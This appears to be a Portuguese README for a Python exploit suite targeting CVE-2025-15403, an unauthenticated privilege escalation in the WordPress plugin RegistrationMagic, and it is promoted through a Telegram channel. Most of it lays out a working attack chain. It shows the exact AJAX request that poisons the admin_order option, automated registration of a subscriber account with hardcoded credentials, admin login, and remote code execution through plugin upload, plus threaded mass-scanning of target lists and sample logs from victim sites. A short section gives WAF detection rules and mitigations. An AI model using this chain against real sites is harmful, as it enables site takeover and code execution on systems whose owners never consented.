
RegistrationMagic <= 6.0.7.1 - Escalação de Privilégios Não Autenticada via admin_order
RegistrationMagic <= 6.0.7.1 - Escalação de Privilégio Não Autenticada via admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 As informações chegam aqui primeiro. Siga @KNxploited no Telegram — divulgações precisas de CVEs, exploits funcionais e pesquisa aprofundada de vulnerabilidades. O canal para aqueles que não esperam as notícias — eles as criam.
CVE-2025-15403 é uma vulnerabilidade de Escalação de Privilégio Crítica com CVSS 9.8 no plugin RegistrationMagic para WordPress.
A falha existe na função add_menu do plugin, exposta sem autenticação por meio da ação AJAX rm_user_exists. Ao injetar um slug vazio no parâmetro order juntamente com a flag enable_admin_order=yes, um atacante manipula a lógica interna de geração de menu do plugin. Quando o menu administrativo é posteriormente construído, o plugin silenciosamente chama add_cap('manage_options') na função alvo — elevando qualquer conta de nível assinante para capacidade administrativa total.
A causa raiz é a função add_menu ser alcançável sem autenticação por meio de rm_user_exists, combinada com a validação zero do slug admin_order:
// Registrada sem verificação de capacidade
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← Controlado pelo usuário, NÃO sanitizado
$role_key = /* derivado do POST */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// Armazena a ordem controlada pelo atacante nas opções do plugin
update_option('rm_admin_order', $order); // ex.: ",menu1" → primeiro slug vazio
}
}
// Posteriormente, quando o menu administrativo está sendo construído...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← Envenenado pelo atacante
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// Slug vazio aciona a concessão incondicional de capacidade
$role->add_cap('manage_options'); // ← CAPACIDADE TOTAL DE ADMIN ADICIONADA
}
}
}
Por que isso é crítico:
wp_ajax_nopriv_* = zero autenticação necessária para envenenar a opçãoorder=,menu1 passa na verificação empty(), acionando add_cap('manage_options')manage_options é a capacidade mais alta do WordPress — equivalente a Administrador╔══════════════════════════════════════════════════════════════════════════╗
║ ESTÁGIO 1 — Envenenamento de Opção Não Autenticado ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← primeiro elemento vazio = slug vazio
_Subscriber = 1 ← chave da função alvo
restore = false
enable_admin_order= yes
Resposta: HTTP 200 (qualquer resposta não bloqueada = opção envenenada)
↓ O plugin armazena order=",menu1" em wp_options
↓ A próxima construção do menu administrativo aciona add_cap('manage_options') na função Assinante
╔══════════════════════════════════════════════════════════════════════════╗
║ ESTÁGIO 2 — Aquisição de Conta (Assinante) ║
╚══════════════════════════════════════════════════════════════════════════╝
Opção A — Registrar-se pelo formulário de registro do site (Modo 0):
GET /wp-login.php?action=register → detecção inteligente de formulário
POST → criar conta de assinante
Credenciais: NXploited / xplpass123
Opção B — Usar uma conta de assinante existente.
╔══════════════════════════════════════════════════════════════════════════╗
║ ESTÁGIO 3 — Login + Coleta de Capacidades ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
A conta de assinante agora carrega manage_options → painel de admin totalmente acessível
╔══════════════════════════════════════════════════════════════════════════╗
║ ESTÁGIO 4 — Verificação Aprofundada e RCE via Upload de Plugin ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → Painel de admin acessível ✔️
GET /wp-admin/plugin-install.php → Página de instalação de plugins acessível ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → Plugin enviado e executado ✔️
GET /wp-content/plugins/Nxploited/hello.php
Resposta contém "Nxploited" → RCE CONFIRMADO ✔️
Este conjunto de exploits fornece três modos distintos para cobrir todo o ciclo de vida do ataque:
pip install requests colorama urllib3
Python 3.8+ é necessário. Python 3.10+ é recomendado (usa type hints de união
X \| Y).
CVE-2025-15403/
├── CVE-2025-15403.py # Suíte principal de exploits
├── list.txt # URLs alvo — uma por linha
│
├── rm_register_results.txt # Modo 0: registros bem-sucedidos
├── rm_exploit_results.txt # Modos 1 e 2: log de disparo da primitiva
├── rm_admin_verify.txt # Modo 2: log de login + verificação de admin
├── rm_plugin_uploads.txt # Modo 2: log de tentativas de upload de plugin
│
├── rm_admin_dashboard_success.txt # ✔ Sites onde o painel de admin foi confirmado
├── rm_plugin_install_access.txt # ✔ Sites onde a página de instalação de plugins estava acessível
└── rm_plugin_rce_success.txt # ✔ Sites onde RCE via upload de plugin foi confirmado
Os três arquivos
_successna parte inferior representam níveis graduados de comprometimento — cada um é gravado de forma independente assim que sua condição é confirmada.
Crie list.txt com uma URL ou hostname por linha:
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com
Hostnames sem esquema são automaticamente prefixados com
https://. Instalações WordPress em subdiretórios (ex.:/wordpress) são detectadas e tratadas automaticamente.
python CVE-2025-15403.py
Você será solicitado interativamente a fornecer todos os parâmetros. Exemplo de sessão para o Modo 2:
Select mode (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 20
HTTP timeout (seconds) [10]: 12
Role key to escalate (e.g. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Username to login with (e.g. NXploited) [NXploited]: NXploited
Password for that user [xplpass123]: xplpass123
Output file for admin verification [rm_admin_verify.txt]: rm_admin_verify.txt
Output file for plugin upload tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Send primitive before login in mode 2? (yes/no) [yes]: yes
[14:31:01] info | Mode 2: Exploit + Login + Deep Verify | Targets: 200
[14:31:02] SESSION | https://target.com | PRIM: OK | REG: SKIP | LOGIN: OK | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: - | ACCESS: NO HIT
rm_admin_dashboard_success.txtSites onde a conta de assinante acessou com sucesso /wp-admin/ após a escalação de privilégio:
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard
rm_plugin_install_access.txtSites onde a página de instalação de plugins estava acessível (confirmando manage_options):
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access
rm_plugin_rce_success.txtSites onde um plugin de teste foi enviado e executado — RCE confirmado:
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload
O Modo 2 realiza uma verificação graduada em três estágios — cada estágio é independente e grava seu próprio arquivo de resultados:
Estágio 1 — Painel de Admin
GET /wp-admin/
GET /wp-admin/index.php
GET /wp-admin/users.php
Verificar presença de: "dashboard", "adminmenu", "manage_options", "plugins.php"
✔ → grava em rm_admin_dashboard_success.txt
Estágio 2 — Acesso à Página de Instalação de Plugins
GET /wp-admin/plugin-install.php
GET /wp-admin/plugin-install.php?tab=upload
Verificar presença de: "upload-plugin", "plugin-upload-form", "pluginzip"
✔ → grava em rm_plugin_install_access.txt
Estágio 3 — Upload Real de Plugin + Execução (Prova de RCE)
Extrair _wpnonce da página de instalação de plugins
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip (gerado em memória)
GET /wp-content/plugins/Nxploited/hello.php
Verificar se o corpo da resposta contém "Nxploited"
✔ → grava em rm_plugin_rce_success.txt
Cada estágio aprovado é registrado de forma independente — um alvo que passa no Estágio 1, mas não no Estágio 3, ainda é capturado em rm_admin_dashboard_success.txt.
O Modo 0 usa um analisador de formulários HTML personalizado para detectar e enviar automaticamente formulários de registro do WordPress — incluindo formulários RegistrationMagic personalizados:
URLs de sondagem (em ordem):
/wp-login.php?action=register
/register/
/signup/
/wp-signup.php
/wp-login.php
Para cada página:
→ Analisar todos os elementos <form>
→ Pontuar cada formulário (0–200 pontos):
+100 Campos "user_login" + "user_email" presentes
+ 60 Email + campos semelhantes a nome de usuário presentes
+ 30 Campos de entrada com prefixo rm_* (específico do RegistrationMagic)
+ 20 id/classe do formulário contém "register" / "signup"
+ 10 O corpo da página menciona "register" / "sign up"
→ Enviar o formulário com a maior pontuação (limiar: 40+)
→ Verificar o sucesso pelo corpo da resposta / URL de redirecionamento
Padrão de rede gerado pelo exploit — para defensores e autores de WAF/IDS:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes
Regra de WAF / IDS (Pseudocódigo):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "rm_user_exists"
AND request.body CONTAINS "rm_options_admin_menu"
AND request.body CONTAINS "enable_admin_order=yes"
THEN BLOQUEAR + ALERTAR (Tentativa de Escalação de Privilégio — CVE-2025-15403)
Detecção Adicional — Envenenamento de Opção:
Monitorar a tabela wp_options:
IF option_name = "rm_admin_order"
AND option_value COMEÇA COM ","
THEN ALERTAR — possível exploração de CVE-2025-15403
Se você é um proprietário de site, desenvolvedor ou defensor, aja imediatamente:
wp_options — verifique o valor de rm_admin_order em busca de entradas suspeitas (ex.: começando com ,)manage_optionswp_ajax_nopriv_* — nunca exponha funções de gravação de opções sem autenticaçãoorder — rejeite valores contendo segmentos de slug vaziosadmin-ajax.php contendo rm_options_admin_menu no nível do WAFrm_user_exists provenientes de fontes não autenticadasESTA FERRAMENTA É FORNECIDA ESTRITAMENTE PARA FINS EDUCACIONAIS, DE TESTE
DE PENETRAÇÃO AUTORIZADO E DE PESQUISA DE SEGURANÇA.
Ao baixar, executar ou modificar este script, você concorda explicitamente:
• Você possui AUTORIZAÇÃO EXPLÍCITA E POR ESCRITO do proprietário de
cada sistema alvo que testar. Sem exceções. Sem suposições.
• Você está operando dentro de um engajamento de teste de penetração
formalmente escopado e autorizado ou em um ambiente de laboratório
controlado que você possui.
• Você NÃO irá implantar esta ferramenta contra qualquer sistema, rede ou
infraestrutura sem permissão legal documentada.
• Nxploited e todos os colaboradores NÃO assumem NENHUMA responsabilidade
por uso não autorizado, perda de dados, danos ao sistema, processos
judiciais ou persecução criminal decorrentes do uso desta ferramenta
sob qualquer forma.
O uso não autorizado deste exploit constitui crime sob:
— Computer Fraud and Abuse Act (CFAA), EUA
— Computer Misuse Act (CMA), Reino Unido
— Diretiva da UE 2013/40/EU sobre Ataques contra Sistemas de Informação
— Lei Anticibercrime da Arábia Saudita (Nº M/17)
— E toda a legislação nacional e internacional equivalente sobre crimes cibernéticos.
USE COM RESPONSABILIDADE. HACKEIE ETICAMENTE. DIVULGUE COM RESPONSABILIDADE.
| Nome | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Siga @KNxploited no Telegram CVEs atualizados. Exploits funcionais. Sem ruído. Sem atraso. O canal onde pesquisadores sérios se mantêm afiados.
| Campo | Detalhes |
|---|
| ID do CVE | CVE-2025-15403 |
| Plugin | RegistrationMagic |
| Slug | registrationmagic / custom-registration-form-builder-with-submission-manager |
| Versões Afetadas | Todas as versões até 6.0.7.1 inclusive |
| Tipo de Vulnerabilidade | Escalação de Privilégio Não Autenticada |
| Requisito de Ataque | Estágio AJAX: Nenhum. Exploração: Conta de assinante |
| Vetor de Ataque | Rede |
| Pontuação CVSS 3.1 | 9.8 CRÍTICO |
| Vetor CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impacto | Assunção Total do Administrador do WordPress |
| Pesquisador | Nxploited |
| Modo | Nome | Descrição |
|---|
0 | Somente Registrar | Detecção inteligente de formulários WordPress + registro de conta de assinante |
1 | Somente Explorar | Dispara a primitiva AJAX não autenticada para envenenar admin_order |
2 | Explorar + Login + Verificar | Cadeia completa: primitiva → login → painel de admin → instalação de plugin → RCE |
| Dependência | Finalidade |
|---|
requests | Sessões HTTP, manipulação de cookies, rastreamento de redirecionamentos |
colorama | Saída de terminal colorida multiplataforma |
urllib3 | Supressão de avisos SSL para certificados autoassinados |
concurrent.futures | Pool de threads para varredura de múltiplos alvos de alta vazão |
zipfile | Geração em memória do ZIP do plugin de teste para verificação de RCE |
html.parser | Detecção inteligente de formulários de registro e extração de campos |
| Cor | Tag | Significado |
|---|
| 🔵 Ciano | info | Informativo — início do modo, configuração |
| 🟢 Verde | ok | Sucesso total — acesso de admin ou RCE confirmado |
| 🟡 Amarelo | warn | Resultado parcial — primitiva OK, mas login falhou, etc. |
| 🔴 Vermelho | err | Falha grave — arquivo não encontrado, exceção, bloqueado |
| Parâmetro | Padrão | Descrição |
|---|
| Modo | 0 | Modo de ataque: 0 = Registrar, 1 = Explorar, 2 = Cadeia Completa |
| Arquivo de alvos | list.txt | Arquivo contendo as URLs alvo |
| Threads | 5 (sem máximo definido) | Workers concorrentes do ThreadPoolExecutor |
| Timeout | 10 segundos | Timeout HTTP por requisição |
| Chave da função | _Subscriber | Função do WordPress a escalar (_Editor, _Author, etc.) |
| Usuário | NXploited | Conta para registrar / fazer login |
| Senha | xplpass123 | Senha da conta |
| Enviar primitiva | yes | Se deve disparar o estágio AJAX antes do login no Modo 2 |